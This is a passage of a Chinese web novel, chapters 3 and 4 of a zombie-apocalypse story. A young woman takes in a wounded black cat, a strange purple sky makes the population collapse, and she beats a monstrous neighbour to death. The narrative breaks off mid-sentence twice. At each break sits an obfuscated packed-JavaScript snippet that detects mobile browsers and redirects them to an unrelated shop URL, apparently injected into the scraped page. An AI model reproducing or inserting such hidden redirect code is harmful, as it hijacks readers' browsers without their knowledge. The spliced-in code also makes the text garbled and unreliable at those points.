《丧尸异世我和喵》 3. 第 3 章 第3章 姜澄收拾了昨天留下的两只碗带回家,换完衣服打开笔记本电脑上网登上小区的业主论坛。 虽然宽带已经在大城市普及,但很多中年人顶多只在门户网站上看看新闻或者偷偷菜,他们是不太会使用论坛这种互动性的平台的。 只有年轻人多的社区,业主论坛才会热闹一些。青年公寓的小区论坛里已经有好几个热帖在说今天抓露阴癖的事了。 而且也有人跟帖了。 有女孩子说:【我也遇到过!吓死人了。我直接就跑了!】 有同样遭遇的还有好几个女孩。年轻女孩们看到男人的脏东西,大多又恶心又害怕,第一反应就是扭身跑掉。 姜澄点击了回复框,输入:【别怕,做坏事的人看起来厉害,实际上他们都心虚。尤其这种耍流氓的,他要是有胆子他就去抢劫银行了。他只敢在没人的地方恶心女孩子,就说明他是怂人。哪怕不敢跟他动手,大声叫把附近的人引来也是可以的。叫他下次再也不敢。】 没有父母,就算转身跑也没有家可回,没有人会来保护你了。很快就会明白只能靠自己。 “姜澄”虽然离开学校才两年,已经和父母还在世的时候完全不一样了。 又有人问:【这人是怎么进入小区的?不会是就住在我们小区吧?】 姜澄喝了口可乐,输入:【4栋的,姓陈。】 她也只知道这么多了,前面听了一耳朵,后面两个人分开做笔录了。 回复完了她就去洗漱,洗漱回来再点开,邻居们已经留下一连串追问:【这个是今天那个变态?】 【真的假的?】 【你怎么知道的?】 【等回头我去4栋留意就知道是不是真的了,我今天帮着按那家伙来着,我记住他的脸了。】 姜澄没有再管那个帖子。自有好事的邻居会去探查的。 她关闭了这个帖子,点开了宠物论坛,津津有味地看起别人养宠物的经验和趣事。 有些事之前没有想的时候没觉得有什么,但一旦想了就放不下了。 一直对自己要不要养猫这件事犹豫不决的姜澄,动了念之后就收不住了,就想养猫。 而且不想养别的猫,就想养那只和她一起勇敢对抗变态的小黑猫。 和她一样,孤独一个。 和她一样,不惧坏人。 太像了,感觉她和它是可以一起把日子过好的。 姜澄翻了很多帖子,把养猫要准备的东西都抄了下来。 第二天周二没有周一那么忙了,好歹是正常下班。姜澄在回家路上去了家附近的买多多超市,把猫窝、猫砂、猫砂盆等等都买齐了。猫粮倒不用买,家里还有喂流浪猫的猫粮。 万事俱备,就等小黑猫入住了。 然而事不遂人愿,接下来几个晚上姜澄都没在小区里找见小黑猫。难道不在这个小区混了吗? 姜澄失望。 也有别的小猫过来蹭她,可人跟猫之间讲究缘分,姜澄只想带那只小黑猫回家。 幸运的是,周五的晚上姜澄下班回来穿过花园又看到了她一直惦记的那只小黑猫。 漆黑的小猫还是坐在那张长椅上,静静地舔着爪子。 姜澄有点不敢认,因为黑猫实在是没有任何花纹作为特征,她试探地喊了一声:“咪咪?” 黑猫停下,转头向她看过来。 绿莹莹的眼睛,仿佛一对绿宝石。 果然是她想的那只猫。好几天没见,它好像长大了一点。 “咪咪?”姜澄控制步速靠近。 黑猫凝视着她,并不畏惧,也没有摆出防卫警惕的姿态。姜澄确认了,就是这只黑猫没错了。 她高兴起来,走到长椅边想去摸它。 但随着她移动,却看到在夕阳的光在黑猫身上几处位置形成了不一样的反射。 姜澄眯眼细看,果然是血。 黑猫就是这点不好,太黑了,流血了也看不出来。这要是白猫,早看见了。 “受伤了?”姜澄明白了,怪不得好几天没看见它,原来是跑外面打架去了,受伤了才回来。 小黑猫没理她,继续舔伤口。 姜澄蹲在长椅前细看,乍一看小猫一身黑色,但仔细看能看到伤口还在流血。比上次要严重很多。 姜澄家里有药,但这一次她想趁机诱拐小猫:“你受伤了呀,跟我回家去吧,我家里有药。好不好?乖~” 姜澄一边嘴上哄着,一边试探着向小黑猫伸出了手。令人开心的是小黑猫仿佛跟她熟悉了,没有躲避也没有抗拒,温顺而安静。 姜澄成功地把小黑猫抱了起来。 她嘴上夸着“我们咪咪真聪明”,一边生怕小猫改变主意又跑了,大步疾行向自家楼栋急走而去。 幸而黑猫一路都很乖,一点也不挣扎,到了楼栋门口的时候甚至还抬头看了一眼,仿佛在认地址似的。 姜澄成功地把小黑猫诱拐到了自己的家里。 进到家里用脚带上门,把小猫放在地上的那一刻,姜澄有种完成一件大事般的开心—— 有猫了! 她有猫了! 以后不是一个人了! “乖乖别动,等我一下。” 姜澄放下包匆忙洗手,打开常备药箱找出猫咪能用的药。把黑猫放在书桌上,台灯亮度调到最大,仔细寻找伤口。 这一下能看清楚了,还挺惨烈的呢,好几处伤口。 “这是干嘛去了?”姜澄小心地上着药,问,“是打地盘去了?还是……” 她顺手提起黑猫的尾巴看了一眼。 好黑一对铃铛,好可爱。 “是男孩子啊,是不是争小母猫去了?” 黑猫正伸着前爪乖巧让她上药呢,不提防姜澄突然来这么一下子,窥猫隐私,差点炸毛! 黑猫拔高声音“喵~”了一声,抽回了尾巴用力甩动,好像抗议似的。 “哎哟哟。”姜澄好笑,“小猫猫还害羞啊。” 明明平时说话不会带那么多“呀”、“啊”之类的语气词,不知道为什么一跟猫咪说话,语气词全出来了,嗓子也夹起来了。 但是心情也跟着愉悦了起来。 姜澄小心地给黑猫上药。她为着收养小猫准备了很多东西,给小猫戴上脖圈按住它再上药,虽然换来几声抗议,但果然就不会跑了。 “好了。”姜澄给小黑猫解开脖圈,“没有别的伤口了吧,都上好了。” 黑猫低头端详身上的伤口,感受到了药力对身体的修复。 等姜澄把药箱放回去又坐回到书桌前,黑猫主动用头顶蹭了蹭她。 认、认主人了吗这算是? “那我先给你起个名字。”姜澄激动起来,“你已经不是流浪猫了,得有自己的名字。” “那……煤球?” “黑炭?” “都不喜欢啊?”看着小黑猫无动于衷的样子,姜澄绞尽脑汁,“古代管猫叫‘狸奴’,要不然……墨狸?” 黑猫还没反应,姜澄自己先喜欢上这个名字了:“墨狸,就墨狸了!这个好听!” “你以后就是我的猫了,知道了吗,墨狸。” “记住啊,你叫墨狸。” “我们墨狸是个小帅哥。” 墨狸绿色的眼睛看她,轻轻喵了一声,好像接受了这个名字。 猫真是安静的动物,跟隔壁邻居那只一有人从门口经过就会叫两声的狗完全不一样。 姜澄去把之前买好的猫窝、猫砂盆都拿了出来,猫砂打开袋子,倒进猫砂盆里,饭盆装猫粮,水盆加了清水。 转身小心抱起了墨狸,带他认家:“这是你的窝,这是你的厕所,这是你的饭盆和水盆。” 姜澄把墨狸放下,墨狸走了几步,喝了几口清水,过去看了看窝,又走到猫砂盆跟前嗅了嗅。 姜澄期待起来。 养小动物,最担心的就是上厕所的问题,新手尤其紧张这个。宠物论坛的帖子说小猫自己就会用猫砂,不必担心。 但养猫新手怎么能不担心。 墨狸嗅了嗅猫砂,香味太重了,对猫刺激太大,他回头去看姜澄。 姜澄:“……?” 姜澄自然不明白一只猫想要表达什么。她跟墨狸对视片刻,墨狸扭回头去,钻进窝里趴下,把脸埋了起来。 姜澄又喜又忧。 高兴墨狸接受了新家,又担忧他不会用猫砂乱尿乱拉。 姜澄揉了揉小猫毛茸茸的头,指着猫砂盆告诫他:“记住啊,拉屎尿尿要在盆里。” 墨狸把脸埋得更深了。 带着“我有猫了”的愉快心情,姜澄安然睡下。 虽然只是多了一只毛茸茸的小猫,可公寓好像突然间满满当当了。 睡梦中,似乎听到了开窗户的声音。姜澄迷迷糊糊翻了个身,继续睡。 姜澄以为自己周六早上醒来就可以愉快地撸猫了,哪知道等着她的只有空空的公寓和一扇半开的纱窗。 猫窝里空空如也,只有几根猫毛散落。 猫砂盆里一点用过的痕迹也没有。 但猫饭盆空了,水盆也喝了不少。 姜澄心里说不出的失落。 就这么走了吗?一点都不留恋? 她的公寓虽然小,但是也足够他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124538|196001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩一起幸福生活的呀。 有家不好嘛? 难道真的天性爱自由吗? “有猫了”的喜悦只持续了一个晚上就消散了。 姜澄叹气,算了,可能还是缘分没到吧。 这也是一个普通得不能再普通的周末,就像上个周末一样。 上个周末姜澄觉醒了自己是穿越者的认知。 她觉得这是小概率事件。她对这个世界的态度是既来之则安之,她想好好、平静地生活。 但好像世界并不这么觉得。 下午姜澄像往常那样给花园里的猫咪们去送了食物和水,她还特意四处看了看,呼唤了几声“墨狸”。但并没有再看见小黑猫。 失望的姜澄觉得脑子不知道怎么有点晕沉沉的。 花园里的人都对着天空指指点点。 原本该有的碧蓝晴空不知道怎么地泛着奇异的紫色。 有人说:“看着吓人,是要有雷暴吗?” 但空气又并不潮湿。只是天空没那么明亮。像是黄昏提早到来。 姜澄看了眼那略显诡异的天空,觉得脑袋好像更加难受。 收拾了猫碗,她回楼上去了。她觉得自己可能是吹空调着凉了,吃了包感冒药。 但头昏头痛的感觉并没有得到缓解。 天空中奇异紫芒一直散不去,只是随着时间的流逝从明紫变成了暗沉的灰紫色。 到了晚上户外的温度比白天的时候凉快了许多,庭院里人不少,有人在乘凉,有人在跑步。 有人在外面玩了一天回到小区了。有人刚洗完澡穿好衣裳吹好发型出门准备去酒吧嗨了。 隔壁小区是标准户型楼盘,业主都是以家庭为单位。晚间庭院里乘凉的人更多。 夏日的晚上不会睡的那么早,尤其是周末,有些小朋友也没有睡,在庭院里游戏。 也有爸爸妈妈爷爷奶奶保姆阿姨推着或者抱着小宝宝的。 青年公寓周围的小商铺,基本打烊了,或者是拉下了卷帘门,或者是给玻璃门挂上了U型锁。 离小区不到一千米的买多多超市,结束了一天的营业,顾客离场,员工锁门下班。 马路倒还算热闹,不断地有汽车驶过。周末的晚上商业娱乐区附近甚至会堵车。 墙上的挂表一分一秒地走动,咔,咔,咔—— 姜澄感觉感冒毫无缓解,头昏得更厉害了。她觉得自己发烧了,翻出体温计测量了一下,39度,果然发烧了。 她吃了感冒药和退烧药,再站起来的时候已经感觉视线模糊站不稳了。幸而房间小,几步走到了床边,一下子扑到在床上,失去了意识…… 姜澄以为自己病了,她不知道此时的小区静得可怕。 因为邻居们也都和她一样,虽然他们没有像她那样从下午开始就感到异样,但在姜澄跌进床里失去意识的同时,家里的、户外的、餐厅的、马路上的、走路的、开车的人都突然感到头昏发热,在同一个时间里失去了意识。 整个城市都是这样。 那些待在自己家里的人失去意识倒在了地板上或者沙发上。睡得早的人在睡眠中烧昏过去。 酒吧里,灯光闪烁音乐震耳。舞池里的人却好像跳不动了,纷纷扶着栏杆向自己的座位走去。没走到座位就倒在了地上,脸压在了别人的鞋底上。 街上马路上都有人昏倒,停在路边的出租车里,司机闭着眼睛好像在睡觉。 不断地有行驶中的司机感到不对,及时地贴边停车,但他们来不及呼叫救护车就失去了意识。 即便这样,车祸还是不可避免的在到处发生。有车熊熊燃烧,司机和乘客在昏迷中就死去。 没有人报警。 夜空的紫芒终于散去,月亮照耀着世界,时间好像静止了。 全世界的人都昏了过去,发起了高烧。 有些人直接在高烧中死去。 也有人醒过来。 姜澄隔壁的邻居家里,狗子察觉到了不对,急得汪汪叫。 它的主人趴在地上四肢抽搐了一阵,忽然抬起了头。 没有眼白,整个眼睛都是乌黑的,嘴巴咧开,口涎滴答。 这个人类身上的气息变了,对以嗅觉来辨人的狗子来说,相当于主人突然变成了陌生的人。 或者陌生的生物。 狗子警觉地后退,冲他龇起牙,发出低吼! 墨狸其实没有跑远,他吃得很饱,在外面的土地里排泄过,躲在花园里一棵树上睡觉。 世界安静得过头,但正好睡觉。 直到狗子的惨叫声撕裂空气传出来。 墨狸倏地睁开了幽绿的眼。 4.第 4 章 第4章 姜澄也是被这惨叫声唤醒的。 框架结构的楼房容易传音,姜澄就住在隔壁,听得是最清楚的。 她倏地地睁开眼,猛吸一口气!心脏难受了好几秒,人才清醒过来,缓缓撑起身体。 隔壁怎么了?狗怎么叫成这样? 她吃了药睡了多久? 姜澄坐在床边喘气,隔壁的狗叫得瘆人。 一两分钟后,姜澄感觉身体恢复了力气。隔壁的狗叫声却低了下去,然后消失了。 整个小区又进入一种可怕的寂静。 比刚才更瘆人。 姜澄站起来,腿还有点软,走了几步才好起来。 先过去把灯打开。 打开灯是为了驱逐恐惧,可不知道为什么,白不呲咧的光照着只有她一个人的公寓,有种异样感。 隔壁的狗已经完全不叫了,但刚才叫成那样肯定不对。要么狗出事了,要么人出事了。 姜澄拿起手机拨了报警电话。可本该一拨就通的报警电话响了好几声都没有人接。 她连着挂断重播了两次都是这样。 给物业打电话,一样没人接。 姜澄再次挂断电话,并向落地窗瞥了一眼。 这时候她陡然明白为什么自己熟悉的家里此时此刻会有种异样感——太静了!附近马路上的车声呢?怎么一点都听不到。 静到可怕。 姜澄觉得全世界都不对劲,甚至隐隐感觉自己也不对劲。但她现在来不及去探究世界怎么了,她只能先看看身边发生了什么事,隔壁到底怎么了。 狗子怎么完全没有声音了? 姜澄拎起了自己用来居家防身的棒球棍,打开房门。 小户型的青年公寓,一层有二十四户。走廊很长,看起来有点像写字楼的感觉。一眼望过去,全是门。 此时此刻没有一个人。 明明刚才的狗叫声那么惨烈,却没有一家打开门看看的。 姜澄过去敲隔壁的门:“你好?” “我是隔壁0306。” “请问出了什么事?需要帮忙吗?” 隔壁的狗其实还挺可爱的,就是从他家门前走过的时候会叫这一点不好。但隔壁邻居也还算是讲道理的人,别的邻居提意见他也会道歉,邻居们反倒不太好和他计较。 但姜澄现在敲门,平时那只听到脚步声就会乱叫的狗子一点动静都没有。可房中隐隐有声音,很明显有人在。 姜澄继续敲门:“你好?需要帮忙吗?” “你好?在家吗?”姜澄说瞎话,“我打电话给物业了,他们一会儿就过来。” 姜澄是有点怀疑隔壁是不是进贼了。 隔壁邻居很爱他的狗,如果是他本人在,狗子按说不应该那样惨叫。她敲了好几下门,都没有再听见狗叫,她怀疑那只狗子可能已经被入室的坏人弄死了。 安全起见,她抬出物业震慑对方。 姜澄喊完话,听到了清晰的脚步声,由远及近地朝着门口来了。 姜澄握紧了手里的球棒。她想好了,如果待会开门的是陌生面孔,她就假装不认识隔壁邻居,假装自己错把对方当邻居了来稳住对方,以防止对方伤害她。 如果真是进了坏人,最终还是需要物业的人和警察来解决问题。 正筹谋着,房门突然发出“砰”的响动,像是什么东西猛地拍到了门上,吓人一大跳。 姜澄更加握紧了球棒,盯着那门:“你好?没事吧?” 门内侧响起胡乱的拍门声,间杂着刺耳的声音,像是又拍又挠。 忽然,门把手动了一下。 没有动到能把门打开的程度,但紧跟着动了第二下。 姜澄心中警铃大作,下意识地退后了两步。 门把手动了第三下的时候,门吱呀一声开了。 看到缝隙里露出来的半张脸真的是有过几面之缘的邻居,姜澄松了口气:“怎么回事,你——” 她的声音在看清邻居那诡异的纯黑眼睛的时候戛然而止! 就在这一刻,“邻居”扑了出来! 姜澄本能地举起球棒格挡,刚好挡住对方伸出来的双手。但对方扑出来的力量大得出乎意料,抓着球棒向前冲击她。 姜澄被这股大力推着噔噔蹬后退几步,“咣”地一声后背撞上了对门邻居的房门。 姜澄反应很快。背部一贴到实物,立刻放开了球棒身体向下滑溜下去,钻了出来。 而“邻居”却没有这么迅速的反应,在失去了目标之后仍然发力向前,和对面的门发出了很大一声碰撞声。 球棒也咣啷掉落到地上。 姜澄爬起来回头看了一眼,“邻居”也转头看她。 那双眼睛里没有一点眼白,整个是漆黑的。 嘴巴里不断流出口涎。 喉头发出类似呜咽一般的声音。 下一秒,这个充满“非人”感的邻居张大嘴巴发出一声沙哑嘶吼! 那嘴巴里喷出的气息腥臭无比。 姜澄拔腿就跑! “救命——”她一边跑一边竭力大喊,“来人啊!” 单身女性遇到危险的时候大声呼救是正确的行为。上一次遇到变态,她一喊就引来了很多热心邻居。 可这一次,空荡荡的走廊里没有一户邻居打开房门。 整个走廊都回荡着她尖锐的呼救声。 姜澄不知道,她和隔壁邻居其实是最早醒来的人之一。 遗憾的是,醒来之后她还是人,邻居已经是非人生物。 现在姜澄已经明白隔壁的狗遭遇了什么。她被“邻居”顶到对面门上虽然只一下子,但也近距离看到了对方嘴里的血肉和狗毛,还有身上T恤大片的殷红。 姜澄不能理解的是为什么会这样? 她记得周三的时候回家开门还碰到了这个邻居出门准备遛狗,那时候人好好的,怎么突然就变成这么恐怖的模样了? 身后有砰砰的踏地声,还有嘶哑的吼声,追逐着她。 思绪飞转的同时,她已经跑到了楼道的尽头。 跑得太快,几乎是向步梯的防火门撞上去的。姜澄急刹脚步,拉开防火门闪身进去,立刻关上,紧紧拉住! 紧跟着就听见“啪”的一声,“邻居”显然是刹不住速度,整个拍到了门上。 姜澄甚至听到了疑似骨头碎裂的声音。 步梯防火门是要从他那一侧拉开的,不像每一户的房门是向外推开。 邻居像僵尸一样伸着手臂追逐她,刚才那疑似骨折的声音很可能是手腕或者手臂撞到防火门上折断的声音。 姜澄赌他现在的状态不会开这个门。 砰砰的像是用身体撞门的声音响起—— 姜澄赌对了。 肢体明显不协调的邻居现在做不出“拉门”的动作。 但姜澄也没有停留,一道不能上锁的防火门并不能给她安全,她转身就往楼下跑。 姜澄当初选择低楼层就是觉得如果发生火灾之类的事好逃生。如今发生的虽然不是火灾,但“好逃生”确实应验了。 一楼大堂有保安24小时值班。 姜澄推开一楼的防火门,本想呼救,却一眼看到脸熟的保安趴在地上一动不动。 姜澄一声呼救卡在喉咙里,跑过去把脸朝下的保安翻过来:“喂?喂?没事吧?醒醒?你醒醒!” 保安的身体还有热度,或者说热度还没散尽。 但脸色灰败。 姜澄觉得,刚才的邻居的脸好像也是这种灰败的感觉,乌青色。 刚才楼上发生的一切都太快了,她和那个邻居的短暂对视,视线都被漆黑无白的眼和流涎又血肉模糊的嘴吸引了。 回忆起来,其他的都模糊,但脸好像真的是乌灰发青的颜色,比保安这个脸还青很多。 姜澄伸手探了探保安的鼻子,顿时心凉了——没有呼吸。 身体的温度果然是热度还没散尽。 这个保安实际上已经死了。 姜澄咬住牙,呼吸急促粗重。 幸好她还能保持理智,抓起地上的对讲机:“喂?有人吗?有人吗?喂?喂——” 然而对讲机也和寂静的楼道一样,根本无人回应。 姜澄意识到这一点,没有犹豫立刻扔下了对讲机站起来,打算直接去物业。 因为物业有保安,还有几根看起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131403|196001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来像电棍的东西,还有那个头部是个半月形的大叉子。 最好是能找到人,就算找不到人,也最好能找到能用的武器。 姜澄推开楼栋的玻璃门,一步跨出去。 头顶上方却突然传来咔嚓一声巨响,碎玻璃像雨一样坠落,同时砰的一声,一个“人”也从半空摔到楼栋大门楼梯下的空地上。 那个“人”却没有呻吟呼痛,而是直接抬起头来。 漆黑的眼睛。 姜澄还握着玻璃门的门杆,整个人滞住。 摔在台阶下的那个哪里是什么“人”,正是刚才被她以防火门隔离在了楼道里的邻居。 他打破了楼道尽头的玻璃窗,追着她从楼上跳下来了。 也可能不是跳,只能说是“坠落”。 他的脚明显因为坠落受伤了,一只脚腕已经呈90度扭曲,另一条腿从膝盖就开始扭曲。他看到姜澄在楼栋台阶上,试图站起来却失败了。他又扒着地面向上爬行。 但他的手腕手臂在楼上的时候就因为不会减速撞在墙上折断了。 他爬得也很畸形。 看起来更惊悚。 姜澄退后一步,关上了楼栋门,隔着玻璃看着台阶下这个怪物邻居一点点向自己爬过来。 她的耳边全是自己粗重的呼吸声。 别慌,她对自己说,不能慌。 她领教过怪物邻居的力量,知道即便他手腕和胳膊受损了,这道玻璃门依然可能阻挡不住他。 她不能坐以待毙。 天救自救者。 姜澄的目光迅速扫过楼栋大堂,看到了保洁人员放在角落里的清洁工具。 她看到了一个传统的布条子墩布。 墩布杆是一根结实的木棍子。 姜澄过去拿起墩布挥舞了一下,布条子的墩布头非常影响发力。 姜澄快步过去拉开保安桌的抽屉,没有找到剪刀,但在里面看到一串钥匙。她转头看了一眼玻璃门外,怪物邻居还在往上爬。 她一边不断扭头看,一边拿钥匙的锯齿部分去割墩布头的绳子。 感谢物业的抠门,一直不给保洁更换新的墩布。这个墩布已经很破旧,头部捆扎的绳子本身就已经磨损的很厉害。 姜澄几下就割断了那绳索,把墩布头卸了下来,手里便有了一根光溜溜的木棍。 姜澄扭头看去,邻居的头和肩膀已经爬过了最高的台阶,折断的手臂向着玻璃门挥舞。 姜澄握紧木棍,深吸一口气,猛地推开玻璃门冲了出去,学着电视剧里的样子,高举木棍,朝着怪物的脑壳狠狠地抽下去! 头骨碎裂的声音听起来并不令人愉悦。 甚至有点牙酸。 但那双漆黑的眼睛让姜澄清醒地知道,眼前的人已经不再是“人”,而是发生了不知名变异的怪物。 她忍住所有的不适感,咬紧牙关又抽下去第二棍! 攻击头部是有效的! 怪物的肢体动作明显停滞了。 姜澄咬紧牙一棍又一棍,直到怪物脑袋碎裂,恶心的液体和碎渣状的固体溅射到台阶上。 杀人了。 那又怎么样。 谁面对怪物不得先保护自己。 等警察来了,她也会这样说。 手臂肌肉因为短时间内爆发力量而微微痉挛。 姜澄握着沾满了恶心液体的木棍喘气。 以为至少眼前安全了,能让她休息个半分钟,可台阶下去却又传来一声尖锐的嚎叫。 姜澄一瞬间摆出防卫姿态向台阶下看去。 这一次却不是人类了,而是一只非常熟悉的黑猫。 绿莹莹的眼睛在夜色里瘆人。 浑身炸毛,对着她发出刺耳的叫声,像挑衅,像宣战。 姜澄呼吸粗重,握紧了木棍,对准台阶下的黑猫:“……墨狸?” 连猫咪都变成怪物了吗? 姜澄咬紧了牙。 墨狸厉叫一声,化作一道黑影以惊人的速度和弹跳力纵身扑了上来! 姜澄感觉心脏一紧,好像有电流流过,危险感或者说是杀意扑面而来。 她咬牙,抡起木棍狠狠击过去——